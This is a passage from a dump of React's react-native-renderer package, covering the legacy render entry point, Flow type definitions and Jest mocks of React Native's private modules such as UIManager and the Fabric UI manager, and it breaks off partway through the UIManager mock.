    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactPortal, ReactNodeList} from 'shared/ReactTypes';\nimport type {ElementRef, ElementType, MixedElement} from 'react';\nimport type {FiberRoot} from 'react-reconciler/src/ReactInternalTypes';\nimport type {RenderRootOptions} from './ReactNativeTypes';\nimport type {Container} from 'react-reconciler/src/ReactFiberConfig';\n\nimport './ReactNativeInjection';\n\nimport {\n  batchedUpdates as batchedUpdatesImpl,\n  discreteUpdates,\n  createContainer,\n  updateContainer,\n  injectIntoDevTools,\n  getPublicRootInstance,\n  defaultOnUncaughtError,\n  defaultOnCaughtError,\n  defaultOnRecoverableError,\n} from 'react-reconciler/src/ReactFiberReconciler';\n// TODO: direct imports like some-package/src/* are bad. Fix me.\nimport {createPortal as createPortalImpl} from 'react-reconciler/src/ReactPortal';\nimport {\n  setBatchingImplementation,\n  batchedUpdates,\n} from './legacy-events/ReactGenericBatching';\n// Modules provided by RN:\nimport {UIManager} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\n\nimport {LegacyRoot} from 'react-reconciler/src/ReactRootTags';\nimport {\n  findHostInstance_DEPRECATED,\n  findNodeHandle,\n  dispatchCommand,\n  sendAccessibilityEvent,\n  isChildPublicInstance,\n} from './ReactNativePublicCompat';\n\nimport {disableLegacyMode} from 'shared/ReactFeatureFlags';\n\n// Module provided by RN:\nimport {ReactFiberErrorDialog} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\n\nimport reactNativePackageVersion from 'shared/ReactVersion';\nimport * as IsomorphicReactPackage from 'react';\n\nconst isomorphicReactPackageVersion = IsomorphicReactPackage.version;\nif (isomorphicReactPackageVersion !== reactNativePackageVersion) {\n  throw new Error(\n    'Incompatible React versions: The \"react\" and \"react-native-renderer\" packages must ' +\n      'have the exact same version. Instead got:\\n' +\n      `  - react:                  ${isomorphicReactPackageVersion}\\n` +\n      `  - react-native-renderer:  ${reactNativePackageVersion}\\n` +\n      'Learn more: https://react.dev/warnings/version-mismatch',\n  );\n}\n\nif (typeof ReactFiberErrorDialog.showErrorDialog !== 'function') {\n  throw new Error(\n    'Expected ReactFiberErrorDialog.showErrorDialog to be a function.',\n  );\n}\n\nfunction nativeOnUncaughtError(\n  error: mixed,\n  errorInfo: {+componentStack?: ?string},\n): void {\n  const componentStack =\n    errorInfo.componentStack != null ? errorInfo.componentStack : '';\n  const logError = ReactFiberErrorDialog.showErrorDialog({\n    errorBoundary: null,\n    error,\n    componentStack,\n  });\n\n  // Allow injected showErrorDialog() to prevent default console.error logging.\n  // This enables renderers like ReactNative to better manage redbox behavior.\n  if (logError === false) {\n    return;\n  }\n\n  defaultOnUncaughtError(error, errorInfo);\n}\nfunction nativeOnCaughtError(\n  error: mixed,\n  errorInfo: {\n    +componentStack?: ?string,\n    +errorBoundary?: ?component(...props: any),\n  },\n): void {\n  const errorBoundary = errorInfo.errorBoundary;\n  const componentStack =\n    errorInfo.componentStack != null ? errorInfo.componentStack : '';\n  const logError = ReactFiberErrorDialog.showErrorDialog({\n    errorBoundary,\n    error,\n    componentStack,\n  });\n\n  // Allow injected showErrorDialog() to prevent default console.error logging.\n  // This enables renderers like ReactNative to better manage redbox behavior.\n  if (logError === false) {\n    return;\n  }\n\n  defaultOnCaughtError(error, errorInfo);\n}\nfunction nativeOnDefaultTransitionIndicator(): void | (() => void) {\n  // Native doesn't have a default indicator.\n}\n\nfunction render(\n  element: MixedElement,\n  containerTag: number,\n  callback: ?() => void,\n  options: ?RenderRootOptions,\n): ?ElementRef<ElementType> {\n  if (disableLegacyMode) {\n    throw new Error('render: Unsupported Legacy Mode API.');\n  }\n\n  let root = roots.get(containerTag);\n\n  if (!root) {\n    // TODO: these defaults are for backwards compatibility.\n    // Once RN implements these options internally,\n    // we can remove the defaults and ReactFiberErrorDialog.\n    let onUncaughtError = nativeOnUncaughtError;\n    let onCaughtError = nativeOnCaughtError;\n    let onRecoverableError = defaultOnRecoverableError;\n\n    if (options && options.onUncaughtError !== undefined) {\n      onUncaughtError = options.onUncaughtError;\n    }\n    if (options && options.onCaughtError !== undefined) {\n      onCaughtError = options.onCaughtError;\n    }\n    if (options && options.onRecoverableError !== undefined) {\n      onRecoverableError = options.onRecoverableError;\n    }\n\n    const rootInstance: Container = {\n      containerTag,\n      // $FlowExpectedError[incompatible-type] the legacy renderer does not use public root instances\n      publicInstance: null,\n    };\n\n    // TODO (bvaughn): If we decide to keep the wrapper component,\n    // We could create a wrapper for containerTag as well to reduce special casing.\n    root = createContainer(\n      rootInstance,\n      LegacyRoot,\n      null,\n      false,\n      null,\n      '',\n      onUncaughtError,\n      onCaughtError,\n      onRecoverableError,\n      nativeOnDefaultTransitionIndicator,\n      null,\n    );\n    roots.set(containerTag, root);\n  }\n  updateContainer(element, root, null, callback);\n\n  return getPublicRootInstance(root);\n}\n\nfunction unmountComponentAtNode(containerTag: number) {\n  const root = roots.get(containerTag);\n  if (root) {\n    // TODO: Is it safe to reset this now or should I wait since this unmount could be deferred?\n    updateContainer(null, root, null, () => {\n      roots.delete(containerTag);\n    });\n  }\n}\n\nfunction unmountComponentAtNodeAndRemoveContainer(containerTag: number) {\n  unmountComponentAtNode(containerTag);\n\n  // Call back into native to remove all of the subviews from this container\n  UIManager.removeRootView(containerTag);\n}\n\nfunction createPortal(\n  children: ReactNodeList,\n  containerTag: number,\n  key: ?string = null,\n): ReactPortal {\n  return createPortalImpl(children, containerTag, null, key);\n}\n\nsetBatchingImplementation(batchedUpdatesImpl, discreteUpdates);\n\nconst roots = new Map<number, FiberRoot>();\n\nexport {\n  // This is needed for implementation details of TouchableNativeFeedback\n  // Remove this once TouchableNativeFeedback doesn't use cloneElement\n  findHostInstance_DEPRECATED,\n  findNodeHandle,\n  dispatchCommand,\n  sendAccessibilityEvent,\n  render,\n  unmountComponentAtNode,\n  unmountComponentAtNodeAndRemoveContainer,\n  createPortal,\n  batchedUpdates as unstable_batchedUpdates,\n  // DEV-only:\n  isChildPublicInstance,\n};\n\ninjectIntoDevTools();\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactNativeTypes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @noformat\n * @nolint\n * @flow strict\n */\n\nimport type {\n  // $FlowFixMe[nonstrict-import] TODO(@rubennorte)\n  HostInstance as PublicInstance,\n  // $FlowFixMe[nonstrict-import] TODO(@rubennorte)\n  MeasureOnSuccessCallback,\n  // $FlowFixMe[nonstrict-import] TODO(@rubennorte)\n  PublicRootInstance,\n  // $FlowFixMe[nonstrict-import] TODO(@rubennorte)\n  PublicTextInstance,\n} from 'react-native';\n\nimport * as React from 'react';\n\nexport type AttributeType<T, V> =\n  | true\n  | $ReadOnly<{\n      diff?: (arg1: T, arg2: T) => boolean,\n      process?: (arg1: V) => T,\n    }>;\n\n// We either force that `diff` and `process` always use mixed,\n// or we allow them to define specific types and use this hack\nexport type AnyAttributeType = AttributeType<$FlowFixMe, $FlowFixMe>;\n\nexport type AttributeConfiguration = $ReadOnly<{\n  [propName: string]: AnyAttributeType | void,\n  style?: $ReadOnly<{\n    [propName: string]: AnyAttributeType,\n    ...\n  }>,\n  ...\n}>;\n\nexport type ViewConfig = $ReadOnly<{\n  Commands?: $ReadOnly<{[commandName: string]: number, ...}>,\n  Constants?: $ReadOnly<{[name: string]: mixed, ...}>,\n  Manager?: string,\n  NativeProps?: $ReadOnly<{[propName: string]: string, ...}>,\n  baseModuleName?: ?string,\n  bubblingEventTypes?: $ReadOnly<{\n    [eventName: string]: $ReadOnly<{\n      phasedRegistrationNames: $ReadOnly<{\n        captured: string,\n        bubbled: string,\n        skipBubbling?: ?boolean,\n      }>,\n    }>,\n    ...\n  }>,\n  directEventTypes?: $ReadOnly<{\n    [eventName: string]: $ReadOnly<{\n      registrationName: string,\n    }>,\n    ...\n  }>,\n  supportsRawText?: boolean,\n  uiViewClassName: string,\n  validAttributes: AttributeConfiguration,\n}>;\n\nexport type PartialViewConfig = $ReadOnly<{\n  bubblingEventTypes?: ViewConfig['bubblingEventTypes'],\n  directEventTypes?: ViewConfig['directEventTypes'],\n  supportsRawText?: boolean,\n  uiViewClassName: string,\n  validAttributes?: AttributeConfiguration,\n}>;\n\ntype InspectorDataProps = $ReadOnly<{\n  [propName: string]: string,\n  ...\n}>;\n\ntype InspectorDataGetter = (\n  <TElementType: React.ElementType>(\n    componentOrHandle: React.ElementRef<TElementType> | number,\n  ) => ?number,\n) => $ReadOnly<{\n  measure: (callback: MeasureOnSuccessCallback) => void,\n  props: InspectorDataProps,\n}>;\n\nexport type InspectorData = $ReadOnly<{\n  closestInstance?: mixed,\n  hierarchy: Array<{\n    name: ?string,\n    getInspectorData: InspectorDataGetter,\n  }>,\n  selectedIndex: ?number,\n  props: InspectorDataProps,\n  componentStack: string,\n}>;\n\nexport type TouchedViewDataAtPoint = $ReadOnly<\n  {\n    pointerY: number,\n    touchedViewTag?: number,\n    frame: $ReadOnly<{\n      top: number,\n      left: number,\n      width: number,\n      height: number,\n    }>,\n    closestPublicInstance?: PublicInstance,\n  } & InspectorData,\n>;\n\nexport type RenderRootOptions = {\n  onUncaughtError?: (\n    error: mixed,\n    errorInfo: {+componentStack?: ?string},\n  ) => void,\n  onCaughtError?: (\n    error: mixed,\n    errorInfo: {\n      +componentStack?: ?string,\n      // $FlowFixMe[unclear-type] unknown props and state.\n      // $FlowFixMe[value-as-type] Component in react repo is any-typed, but it will be well typed externally.\n      +errorBoundary?: ?React.Component<any, any>,\n    },\n  ) => void,\n  onRecoverableError?: (\n    error: mixed,\n    errorInfo: {+componentStack?: ?string},\n  ) => void,\n  onDefaultTransitionIndicator?: () => void | (() => void),\n};\n\n/**\n * Flat ReactNative renderer bundles are too big for Flow to parse efficiently.\n * Provide minimal Flow typing for the high-level RN API and call it a day.\n */\nexport type ReactNativeType = {\n  findHostInstance_DEPRECATED<TElementType: React.ElementType>(\n    componentOrHandle: ?(React.ElementRef<TElementType> | number),\n  ): ?PublicInstance,\n  findNodeHandle<TElementType: React.ElementType>(\n    componentOrHandle: ?(React.ElementRef<TElementType> | number),\n  ): ?number,\n  isChildPublicInstance(parent: PublicInstance, child: PublicInstance): boolean,\n  dispatchCommand(\n    handle: PublicInstance,\n    command: string,\n    args: Array<mixed>,\n  ): void,\n  sendAccessibilityEvent(handle: PublicInstance, eventType: string): void,\n  render(\n    element: React.MixedElement,\n    containerTag: number,\n    callback: ?() => void,\n    options: ?RenderRootOptions,\n  ): ?React.ElementRef<React.ElementType>,\n  unmountComponentAtNode(containerTag: number): void,\n  unmountComponentAtNodeAndRemoveContainer(containerTag: number): void,\n  +unstable_batchedUpdates: <T>(fn: (T) => void, bookkeeping: T) => void,\n  ...\n};\n\nexport opaque type Node = mixed;\nexport opaque type InternalInstanceHandle = mixed;\n\nexport type ReactFabricType = {\n  findHostInstance_DEPRECATED<TElementType: React.ElementType>(\n    componentOrHandle: ?(React.ElementRef<TElementType> | number),\n  ): ?PublicInstance,\n  findNodeHandle<TElementType: React.ElementType>(\n    componentOrHandle: ?(React.ElementRef<TElementType> | number),\n  ): ?number,\n  dispatchCommand(\n    handle: PublicInstance,\n    command: string,\n    args: Array<mixed>,\n  ): void,\n  isChildPublicInstance(parent: PublicInstance, child: PublicInstance): boolean,\n  sendAccessibilityEvent(handle: PublicInstance, eventType: string): void,\n  render(\n    element: React.MixedElement,\n    containerTag: number,\n    callback: ?() => void,\n    concurrentRoot: ?boolean,\n    options: ?RenderRootOptions,\n  ): ?React.ElementRef<React.ElementType>,\n  unmountComponentAtNode(containerTag: number): void,\n  getNodeFromInternalInstanceHandle(\n    internalInstanceHandle: InternalInstanceHandle,\n  ): ?Node,\n  getPublicInstanceFromInternalInstanceHandle(\n    internalInstanceHandle: InternalInstanceHandle,\n  ): PublicInstance | PublicTextInstance | null,\n  getPublicInstanceFromRootTag(rootTag: number): PublicRootInstance | null,\n  ...\n};\n\nexport type ReactFabricEventTouch = {\n  identifier: number,\n  locationX: number,\n  locationY: number,\n  pageX: number,\n  pageY: number,\n  screenX: number,\n  screenY: number,\n  target: number,\n  timestamp: number,\n  force: number,\n  ...\n};\n\nexport type ReactFabricEvent = {\n  touches: Array<ReactFabricEventTouch>,\n  changedTouches: Array<ReactFabricEventTouch>,\n  targetTouches: Array<ReactFabricEventTouch>,\n  target: number,\n  ...\n};\n\n// Imperative LayoutAnimation API types\n//\nexport type LayoutAnimationType =\n  | 'spring'\n  | 'linear'\n  | 'easeInEaseOut'\n  | 'easeIn'\n  | 'easeOut'\n  | 'keyboard';\n\nexport type LayoutAnimationProperty =\n  | 'opacity'\n  | 'scaleX'\n  | 'scaleY'\n  | 'scaleXY';\n\nexport type LayoutAnimationAnimationConfig = $ReadOnly<{\n  duration?: number,\n  delay?: number,\n  springDamping?: number,\n  initialVelocity?: number,\n  type?: LayoutAnimationType,\n  property?: LayoutAnimationProperty,\n}>;\n\nexport type LayoutAnimationConfig = $ReadOnly<{\n  duration: number,\n  create?: LayoutAnimationAnimationConfig,\n  update?: LayoutAnimationAnimationConfig,\n  delete?: LayoutAnimationAnimationConfig,\n}>;\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/BatchedBridge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst BatchedBridge = {\n  registerCallableModule: jest.fn(),\n};\n\nmodule.exports = BatchedBridge;\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/ExceptionsManager.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nmodule.exports = {\n  handleException: jest.fn(),\n};\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/InitializeNativeFabricUIManager.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\n// Mock of the Native Hooks\n\nconst roots = new Map();\nconst allocatedTags = new Set();\n\nfunction dumpSubtree(info, indent) {\n  let out = '';\n  out += ' '.repeat(indent) + info.viewName + ' ' + JSON.stringify(info.props);\n  // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n  for (const child of info.children) {\n    out += '\\n' + dumpSubtree(child, indent + 2);\n  }\n  return out;\n}\n\nconst RCTFabricUIManager = {\n  __dumpChildSetForJestTestsOnly: function (childSet) {\n    const result = [];\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const child of childSet) {\n      result.push(dumpSubtree(child, 0));\n    }\n    return result.join('\\n');\n  },\n  __dumpHierarchyForJestTestsOnly: function () {\n    const result = [];\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const [rootTag, childSet] of roots) {\n      result.push(rootTag);\n      // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n      for (const child of childSet) {\n        result.push(dumpSubtree(child, 1));\n      }\n    }\n    return result.join('\\n');\n  },\n  createNode: jest.fn(\n    function createNode(reactTag, viewName, rootTag, props, eventTarget) {\n      if (allocatedTags.has(reactTag)) {\n        throw new Error(`Created two native views with tag ${reactTag}`);\n      }\n\n      allocatedTags.add(reactTag);\n      return {\n        reactTag: reactTag,\n        viewName: viewName,\n        props: props,\n        children: [],\n      };\n    },\n  ),\n  cloneNode: jest.fn(function cloneNode(node) {\n    return {\n      reactTag: node.reactTag,\n      viewName: node.viewName,\n      props: node.props,\n      children: node.children,\n    };\n  }),\n  cloneNodeWithNewChildren: jest.fn(\n    function cloneNodeWithNewChildren(node, children) {\n      return {\n        reactTag: node.reactTag,\n        viewName: node.viewName,\n        props: node.props,\n        children: children ?? [],\n      };\n    },\n  ),\n  cloneNodeWithNewProps: jest.fn(\n    function cloneNodeWithNewProps(node, newPropsDiff) {\n      return {\n        reactTag: node.reactTag,\n        viewName: node.viewName,\n        props: {...node.props, ...newPropsDiff},\n        children: node.children,\n      };\n    },\n  ),\n  cloneNodeWithNewChildrenAndProps: jest.fn(\n    function cloneNodeWithNewChildrenAndProps(node, newPropsDiff) {\n      let children = [];\n      if (arguments.length === 3) {\n        children = newPropsDiff;\n        newPropsDiff = arguments[2];\n      }\n\n      return {\n        reactTag: node.reactTag,\n        viewName: node.viewName,\n        props: {...node.props, ...newPropsDiff},\n        children,\n      };\n    },\n  ),\n  appendChild: jest.fn(function appendChild(parentNode, childNode) {\n    parentNode.children.push(childNode);\n  }),\n\n  createChildSet: jest.fn(function createChildSet() {\n    return [];\n  }),\n\n  appendChildToSet: jest.fn(function appendChildToSet(childSet, childNode) {\n    childSet.push(childNode);\n  }),\n\n  completeRoot: jest.fn(function completeRoot(rootTag, newChildSet) {\n    roots.set(rootTag, newChildSet);\n  }),\n\n  dispatchCommand: jest.fn(),\n\n  setNativeProps: jest.fn(),\n\n  sendAccessibilityEvent: jest.fn(),\n\n  registerEventHandler: jest.fn(function registerEventHandler(callback) {}),\n\n  measure: jest.fn(function measure(node, callback) {\n    if (typeof node !== 'object') {\n      throw new Error(\n        `Expected node to be an object, was passed \"${typeof node}\"`,\n      );\n    }\n\n    if (typeof node.viewName !== 'string') {\n      throw new Error('Expected node to be a host node.');\n    }\n\n    callback(10, 10, 100, 100, 0, 0);\n  }),\n  measureInWindow: jest.fn(function measureInWindow(node, callback) {\n    if (typeof node !== 'object') {\n      throw new Error(\n        `Expected node to be an object, was passed \"${typeof node}\"`,\n      );\n    }\n\n    if (typeof node.viewName !== 'string') {\n      throw new Error('Expected node to be a host node.');\n    }\n\n    callback(10, 10, 100, 100);\n  }),\n  getBoundingClientRect: jest.fn(function getBoundingClientRect(node) {\n    if (typeof node !== 'object') {\n      throw new Error(\n        `Expected node to be an object, was passed \"${typeof node}\"`,\n      );\n    }\n\n    if (typeof node.viewName !== 'string') {\n      throw new Error('Expected node to be a host node.');\n    }\n\n    return [10, 10, 100, 100];\n  }),\n  measureLayout: jest.fn(\n    function measureLayout(node, relativeNode, fail, success) {\n      if (typeof node !== 'object') {\n        throw new Error(\n          `Expected node to be an object, was passed \"${typeof node}\"`,\n        );\n      }\n\n      if (typeof node.viewName !== 'string') {\n        throw new Error('Expected node to be a host node.');\n      }\n\n      if (typeof relativeNode !== 'object') {\n        throw new Error(\n          `Expected relative node to be an object, was passed \"${typeof relativeNode}\"`,\n        );\n      }\n\n      if (typeof relativeNode.viewName !== 'string') {\n        throw new Error('Expected relative node to be a host node.');\n      }\n\n      success(1, 1, 100, 100);\n    },\n  ),\n  setIsJSResponder: jest.fn(),\n};\n\nglobal.nativeFabricUIManager = RCTFabricUIManager;\n\n// DOMRect isn't provided by jsdom, but it's used by `ReactFabricHostComponent`.\n// This is a basic implementation for testing.\nglobal.DOMRect = class DOMRect {\n  constructor(x, y, width, height) {\n    this.x = x;\n    this.y = y;\n    this.width = width;\n    this.height = height;\n  }\n\n  toJSON() {\n    const {x, y, width, height} = this;\n    return {x, y, width, height};\n  }\n};\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/Platform.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\nmodule.exports = {\n  OS: 'ios',\n};\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/RCTEventEmitter.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst RCTEventEmitter = {\n  register: jest.fn(),\n};\n\nmodule.exports = RCTEventEmitter;\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/RawEventEmitter.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\n// See the react-native repository for a full implementation.\n// However, this is just an EventEmitter.\nconst RawEventEmitter = {\n  emit: jest.fn(),\n};\n\nmodule.exports = {default: RawEventEmitter};\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/ReactFiberErrorDialog.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\nmodule.exports = {\n  showErrorDialog: jest.fn(),\n};\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/ReactNativePrivateInitializeCore.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\n'use strict';\n\n// Noop\n\n// TODO #10932517: Move all initialization callers back into react-native\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/ReactNativePrivateInterface.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict-local\n */\n\nmodule.exports = {\n  get BatchedBridge() {\n    return require('./BatchedBridge.js');\n  },\n  get Platform() {\n    return require('./Platform');\n  },\n  get RCTEventEmitter() {\n    return require('./RCTEventEmitter');\n  },\n  get ReactFiberErrorDialog() {\n    return require('./ReactFiberErrorDialog');\n  },\n  get ReactNativeViewConfigRegistry() {\n    return require('./ReactNativeViewConfigRegistry');\n  },\n  get TextInputState() {\n    return require('./TextInputState');\n  },\n  get UIManager() {\n    return require('./UIManager');\n  },\n  get deepDiffer() {\n    return require('./deepDiffer');\n  },\n  get deepFreezeAndThrowOnMutationInDev() {\n    return require('./deepFreezeAndThrowOnMutationInDev');\n  },\n  get flattenStyle() {\n    return require('./flattenStyle');\n  },\n  get legacySendAccessibilityEvent() {\n    return require('./legacySendAccessibilityEvent');\n  },\n  get RawEventEmitter() {\n    return require('./RawEventEmitter').default;\n  },\n  get getNativeTagFromPublicInstance() {\n    return require('./getNativeTagFromPublicInstance').default;\n  },\n  get getNodeFromPublicInstance() {\n    return require('./getNodeFromPublicInstance').default;\n  },\n  get createPublicInstance() {\n    return require('./createPublicInstance').default;\n  },\n  get createPublicTextInstance() {\n    return require('./createPublicTextInstance').default;\n  },\n  get createPublicRootInstance() {\n    return require('./createPublicRootInstance').default;\n  },\n  get createAttributePayload() {\n    return require('./createAttributePayload').default;\n  },\n  get diffAttributePayloads() {\n    return require('./diffAttributePayloads').default;\n  },\n};\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/ReactNativeViewConfigRegistry.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict-local\n */\n\n'use strict';\n\nimport {type ViewConfig} from './ReactNativeTypes';\n\n// Event configs\nexport const customBubblingEventTypes = {};\nexport const customDirectEventTypes = {};\n\nconst viewConfigCallbacks = new Map();\nconst viewConfigs = new Map();\n\nfunction processEventTypes(viewConfig: ViewConfig): void {\n  const {bubblingEventTypes, directEventTypes} = viewConfig;\n\n  if (__DEV__) {\n    if (bubblingEventTypes != null && directEventTypes != null) {\n      for (const topLevelType in directEventTypes) {\n        if (bubblingEventTypes[topLevelType] != null) {\n          throw new Error(\n            `Event cannot be both direct and bubbling: ${topLevelType}`,\n          );\n        }\n      }\n    }\n  }\n\n  if (bubblingEventTypes != null) {\n    for (const topLevelType in bubblingEventTypes) {\n      if (customBubblingEventTypes[topLevelType] == null) {\n        customBubblingEventTypes[topLevelType] =\n          bubblingEventTypes[topLevelType];\n      }\n    }\n  }\n\n  if (directEventTypes != null) {\n    for (const topLevelType in directEventTypes) {\n      if (customDirectEventTypes[topLevelType] == null) {\n        customDirectEventTypes[topLevelType] = directEventTypes[topLevelType];\n      }\n    }\n  }\n}\n\n/**\n * Registers a native view/component by name.\n * A callback is provided to load the view config from UIManager.\n * The callback is deferred until the view is actually rendered.\n */\nexport function register(name: string, callback: () => ViewConfig): string {\n  if (viewConfigCallbacks.has(name)) {\n    throw new Error(`Tried to register two views with the same name ${name}`);\n  }\n\n  if (typeof callback !== 'function') {\n    throw new Error(\n      `View config getter callback for component \\`${name}\\` must be a function (received \\`${\n        callback === null ? 'null' : typeof callback\n      }\\`)`,\n    );\n  }\n\n  viewConfigCallbacks.set(name, callback);\n  return name;\n}\n\n/**\n * Retrieves a config for the specified view.\n * If this is the first time the view has been used,\n * This configuration will be lazy-loaded from UIManager.\n */\nexport function get(name: string): ViewConfig {\n  let viewConfig;\n  if (!viewConfigs.has(name)) {\n    const callback = viewConfigCallbacks.get(name);\n    if (typeof callback !== 'function') {\n      throw new Error(\n        `View config getter callback for component \\`${name}\\` must be a function (received \\`${\n          callback === null ? 'null' : typeof callback\n        }\\`).${\n          typeof name[0] === 'string' && /[a-z]/.test(name[0])\n            ? ' Make sure to start component names with a capital letter.'\n            : ''\n        }`,\n      );\n    }\n    viewConfig = callback();\n    processEventTypes(viewConfig);\n    viewConfigs.set(name, viewConfig);\n\n    // Clear the callback after the config is set so that\n    // we don't mask any errors during registration.\n    viewConfigCallbacks.set(name, null);\n  } else {\n    viewConfig = viewConfigs.get(name);\n  }\n\n  if (!viewConfig) {\n    throw new Error(`View config not found for name ${name}`);\n  }\n\n  return viewConfig;\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/TextInputState.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\n// Mock of the Native Hooks\n// TODO: Should this move into the components themselves? E.g. focusable\n\nconst TextInputState = {\n  blurTextInput: jest.fn(),\n  focusTextInput: jest.fn(),\n};\n\nmodule.exports = TextInputState;\n"
  },
  {
    "path": "packages/react-native-renderer/src/__mocks__/react-native/Libraries/ReactPrivate/UIManager.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\n// Mock of the Native Hooks\n\n// Map of viewTag -> {children: [childTag], parent: ?parentTag}\nconst roots = [];\nconst views = new Map();\n\nfunction autoCreateRoot(tag) {\n  // Seriously, this is how we distinguish roots in RN.\n  if (!views.has(tag) && tag % 10 === 1) {\n    roots.push(tag);\n    views.set(tag, {\n      children: [],\n      parent: null,\n      props: {},\n      viewName: '<native root>',\n    });\n  }\n}\n\nfunction insertSubviewAtIndex(parent, child, index) {\n  const parentInfo = views.get(parent);\n  const childInfo = views.get(child);\n\n  if (childInfo.parent !== null) {\n    throw new Error(\n      `Inserting view ${child} ${JSON.stringify(\n        childInfo.props,\n      )} which already has parent`,\n    );\n  }\n\n  if (0 > index || index > parentInfo.children.length) {\n    throw new Error(\n      `Invalid index ${index} for children ${parentInfo.children}`,\n    );\n  }\n\n  parentInfo.children.splice(index, 0, child);\n  childInfo.parent = parent;\n}\n\nfunction removeChild(parent, child) {\n  const parentInfo = views.get(parent);\n  const childInfo = views.get(child);\n  const index = parentInfo.children.indexOf(child);\n\n  if (index < 0) {\n    throw new Error(`Missing view ${child} during removal`);\n  }\n\n  parentInfo.children.splice(index, 1);\n  childInfo.parent = null;\n}\n\nconst RCTUIManager = {\n  __dumpHierarchyForJestTestsOnly: function () {\n    function dumpSubtree(tag, indent) {\n      const info = views.get(tag);\n      let out = '';\n      out +=\n        ' '.repeat(indent) + info.viewName + ' ' + JSON.stringify(info.props);\n      // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n      for (const child of info.children) {\n        out += '\\n' + dumpSubtree(child, indent + 2);\n      }\n      return out;\n    }\n    return roots.map(tag => dumpSubtree(tag, 0)).join('\\n');\n  },\n  clearJSResponder: jest.fn(),\n  createView: jest.fn(function createView(reactTag, viewName, rootTag, props) {\n    if (views.has(reactTag)) {\n      throw new Error(`Created two native views with tag ${reactTag}`);\n    }\n\n    views.set(reactTag, {\n      children: [],\n      parent: null,\n      props: props,\n      viewName: viewName,\n    });\n  }),\n  dispatchViewManagerCommand: jest.fn(),\n  sendAccessibilityEvent: jest.fn(),\n  setJSResponder: jest.fn(),\n  setChildren: jest.fn(function setChildren(parentTag, reactTags) {\n    autoCreateRoot(parentTag);\n\n    // Native doesn't actually check this but it seems like a good idea\n    if (views.get(parentTag).children.length !== 0) {\n      throw new Error(`Calling .setChildren on nonempty view ${parentTag}`);\n    }\n\n    // This logic ported from iOS (RCTUIManager.m)\n    reactTags.forEach((tag, i) => {\n      insertSubviewAtIndex(parentTag, tag, i);\n    });\n  }),\n  manageChildren: jest.fn(function manageChildren(\n    parentTag,\n    moveFromIndices = [],\n    moveToIndices = [],\n    addChildReactTags = [],\n    addAtIndices = [],\n    removeAtIndices = [],\n  ) {\n    autoCreateRoot(parentTag);\n\n    // This logic ported from iOS (RCTUIManager.m)\n    if (moveFromIndices.length !== moveToIndices.length) 